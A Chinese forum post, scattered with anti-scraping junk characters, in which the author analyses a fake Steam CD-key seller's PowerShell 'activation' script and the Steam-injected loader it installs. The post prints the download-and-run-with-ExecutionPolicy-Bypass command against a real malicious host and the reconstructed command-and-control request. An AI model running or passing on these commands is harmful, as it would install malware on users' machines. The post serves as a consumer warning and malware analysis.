|
|
刚刚去买了个 cdkey 准备送给朋友,结果一看发货介绍感觉有点不对劲:2 s4 ^) Q# C! d) s3 q" }, |
. U1 O2 F- {& k
! B/ K; }- X( _3 C3 K* g
啥啊,irm iex 这不是经典的从网络获取脚本并执行的操作吗,怎么领个激活码还要搞这?
9 b" A' `4 T9 v1 }) z1 I
" A" ` u; Q6 }3 r |我一开始还以为是自动安装加速器,商家还怪好的捏,直到我激活不了,把这脚本拉下来看了看:; I; h5 m3 P. l: K& e
 
/ u) ^. b6 i: Z- }9 L% S好家伙 这玩意整了个极其有欺骗性的东西,因为powershell的多行注释正好是<# #>,正好 HTML 文件的开头是 <!DOCTYPE html> 这鸟人给他改成 <#!DOCTYPE html> 就变成 powershell 的注释了.. 我都差点没看出来..网页还做了 UA 判断和跳转,真是够阴损( u; o. M3 R! i& [8 d& q' ^
" ]6 V; h( X; c3 h- B那么真实的代码就只剩两行了:+ \! m' r# }4 {3 ?6 g- C- ~
[PowerShell] 纯文本查看 复制代码
- d6 r% n0 J) K0 {+ c( t& V% P F?2 m% T7 o4 |9 H! H0 h' ^
1! A3 A) n! l4 p+ o& E
2+ H7 ~ V! L _0 x
| irm steam.work/pwsDwFile/new1 -OutFile x.ps1
4 v* u" [ a5 `$ k2 d8 S( ?+ f- @powershell.exe -ExecutionPolicy Bypass -File x.ps1;
) ^, { d1 n" V9 J2 X1 m% `4 @' s$ H M' O
| ' L$ G! h# e, [- F L( l
$ a( L& q4 T3 | x1 O0 n
$ E2 U+ R# s3 a0 E7 T5 W- i
' s% M9 W4 u3 z3 G8 ^' u8 {- r
& T7 x' G J) y0 ]7 ]( P+ D看得出来,又是下脚本...我们把这玩意也下下来看一眼:7 S2 p) x U c* i9 a: N \
# P, p4 N" u$ k& ~( j4 Q" A0 ^
我怎么兑换个激活码你还给我注入上 Steam了!有病啊!' q4 u6 e1 R8 z5 t7 P! J6 e
那么我们便不得不好奇一下注入的文件里到底干了啥呢,我们下下来拖进静态分析,但是里面几乎啥都没有,只有两个有意思的地方:0 S9 A& L0 A5 b" u, e
1. 把危险函数 VirtualAlloc 等 伪装成普通函数:
% M( j) v# A$ m/ E( x, q2 G5 b3 ~
; |, o( B" O2 T8 V2 v d2. 里面有 zlib.inflate (图里打错了)
S2 U+ \/ e( p4 I
' A, L, E$ ^9 k% u6 \
) y) L! H, v4 V看上去他是在尝试现场解压某种payload来执行啊!我们直接开一个 Windows Sandbox 来动态调试一下:
1 _ ?/ S! B6 R打开 x32dbg,在 zlib.inflate处打断点,很容易就拿到解压出的东西7 C9 N# C2 |8 H. I; ?$ ^2 g6 m

) y, l* `- Z, k/ |7 b9 w[eax + 0x4 * 3] -> 解压出缓冲区指针- }& t$ S2 r& L8 `* O# q2 s7 z% M
[eax + 0x4 * 5] -> 解压出数据长度 . E. d+ l4 n9 y
不看不知道,一看 MZ 开头,PE格式没跑了,直接一个 savefile 把它存下来,拖进 Binary Ninja1 ~' d( g8 S; I! @
这个文件也有点诡异,有三个 .text 段里面两个都是空的,还有一个 XRef 几乎扫不出来...总之先看一眼 IAT:
+ Z; l, Z( L- B/ ~2 L0 t - B: \. v( B. H7 `& g! r: }
怎么还引用了一个 winsqlite 啊,看起来像是打算操作 Steam 的数据库?7 M1 Z4 M" \% r s2 v$ B. d; ~1 O$ U

& E: `/ `5 p# ], g E" q* U; @0 I这里还有一些十足诡异的找不到引用的函数,看上去是加密的字符串
, c0 h6 v. A8 n' ]* D4 e1 E5 H. [, [: o' ?, f, d
(接前文)" m A3 n( s# F5 d0 v
那么自然我们现在应该给导出的仅有的几个函数打一下断点看看;首当其冲怀疑的就是这个网络函数5 \ M3 `; X: h1 D( \
直接先在该 dll 加载前打断点,暂停后在InternetOpenA打断点;发现有反调试检测,用 ScyllaHide Basic 轻松过掉
a9 h" L9 n2 j9 s1 F然后就断下来了,我们来看一眼0 i8 i( D& |4 _6 u2 n. X4 }
D8 a& j+ x0 R% [
直接找到病毒开始请求配置的地方和端点了,大收获啊;但是我们直接访问 http://api.steam.work/api/integral/vs ,他是返回 403 Unauthorized 的,看来可能有什么 UA,POST body之类的,继续下断点查一下. L# i* ?3 Z5 ~+ T' G A6 `3 e- l
在InternetOpenA InternetConnectA HttpOpenRequestA HttpSendRequestA,成功还原整个请求:8 u* V2 `* p `: o4 D' B
7 o1 c' P9 [6 `7 xHTTP1.1 POST http://api.steam.work/api/integral/vs! _! J" A' J6 j. K3 w1 r
Referer: version
5 p) Z5 q2 |9 g0 a3 juser-agent: steam) }; p4 P) I0 s% h9 f% x: x0 ]. l
{"sign":"ckv"}
# {* u5 ^+ D+ S' E1 E7 e' j
8 X+ I3 c- b( `4 z; V4 T: ~& s1 ]2 \

% T9 Y% `" T8 _, X- O$ X% o- k' J
4 q8 Q6 M* q+ \返回值拿到手,只有一串不知道是什么的 hex;我们先再看看其他几个点8 j, C' A. }+ P/ U
sqlite这边下断点以后啥也没有,可能是激活的时候才会操作(我用的Windows Sandbox,不知道为什么打不开Steam……)
9 r# q/ Z) E3 y' K" A( n" h6 Q) D2 s! a) [" N. v
于是转移到一台实机上继续分析。
& x; w9 P/ z% F" B
+ e7 V; W X$ _% f" H; s( B. ]/ V7 N% h% C6 `" ~2 j. F
直接拿它给的虚假激活码来激活,可以直接断在 HTTP 请求点
. u# d+ \- l- g. P1 j把请求掏出来看看:
1 i. q, W' v$ \) f' s
' _; j; T9 b0 o: J看起来是成功了,返回一个 code 和一个 data;
2 V5 R0 D5 N1 M+ {+ y s3 I: S2 a这个 ID 又是啥?7 |7 @- @4 D w. c+ u4 T
/ F! d0 s2 P' ~, H. X
哦,哈迪斯的 App ID
2 v$ L* R. U9 e/ G那么接着调试,在一通奇奇怪怪的网络请求之后,它下下来一个 8k 的文件到 steam 的目录里; ^" N! n4 w# U `; ~* G
C:\Program Files (x86)\Steam\package\data! k/ q& l: r4 u; t- y+ M8 J
^' ^. H0 ]: O% Q5 x
这是干啥的呢?看看我们正常的 Steam 这里有什么...居然什么都没有!9 W* M- u9 A2 } K4 _
那么就说明,这个文件是病毒专用的了;我们直接 ImHex 打开0 X; d, S- M, {- j
) ]& j) `0 Z1 G' ^) D) }2 \. a/ ]6 s
居然是个数据库!怪不得他要链 winsqlite;那这个数据库里有啥?我们丢进查看器:
/ \& t. c) U1 w5 z V2 b7 u* Q9 S
4 V8 v5 u- D+ h6 @7 Z: H+ R有个appid,和两个不认识的hex;把键名拿去搜搜看:
/ O# U( x3 e" O3 F" p Z 2 f* j3 w9 E0 o: I0 V
- J" p) ~. A9 U6 K5 Z4 s4 {+ ^" n
原来是这样!这是一种叫做“清单入库”的已经广为流传的Steam免费入库方式,结果被不法商家用于欺诈消费者,十分恶劣!
6 c' t6 _' k: b r, J; ?9 Q& L" y# c, G6 \+ [: P( h) C
还有一些相关信息,大家可以自行查看→ https://github.com/pjy612/SteamManifestCache/discussions/374 https://github.com/pjy612/SteamManifestCache/wiki/DecryptionKey
! o8 _; g* o9 ^. e6 K6 x6 i
0 J* I( m0 W; b# g1 k |
0 m+ m- i# R3 j4 i
, W1 |% {1 R/ E" U% N! A* Q# ^; o
* M; V- _6 {5 @/ x0 d& l; E0 c( _& d6 o4 u% R- J
* }+ v+ D4 [9 {' @" g
5 M7 J" x; m/ Z' x* M1 k: s
- W' O" w$ n. O, V2 |
# S) r0 h/ |# N) H# u8 Q8 [7 {( ?& \; q7 e, @) ^
5 {) G% e( T0 N5 W8 i
. p H' D3 @. Y2 j$ v$ G |
|